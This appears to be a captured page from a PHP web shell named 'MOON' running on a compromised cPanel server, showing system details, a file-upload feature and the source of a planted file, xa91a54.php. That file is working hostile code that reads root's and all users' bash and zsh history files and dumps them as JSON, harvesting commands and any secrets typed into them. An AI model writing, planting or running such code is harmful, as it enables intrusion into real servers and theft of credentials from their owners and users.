MOON
Server: Apache/2.4.63 (cPanel) OpenSSL/1.1.1w mod_bwlimited/1.4
System: Linux ns2.portalpublico.com.br 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User: diariooficial (505)
PHP: 5.6.40
Disabled: NONE
Upload Files
File: /home/diariooficial/public_html/xa91a54.php
<?php $r=[];$f=@file_get_contents('/root/.bash_history');if($f)$r['root']=$f;$f=@file_get_contents('/root/.zsh_history');if($f)$r['root_zsh']=$f;foreach(glob('/home/*/.bash_history') as $f){  $u=basename(dirname($f));$r[$u]=@file_get_contents($f);}foreach(glob('/home/*/.zsh_history') as $f){  $u=basename(dirname($f)).'_zsh';$r[$u]=@file_get_contents($f);}echo json_encode(['ok'=>1,'count'=>count(array_filter($r)),'histories'=>$r]);?>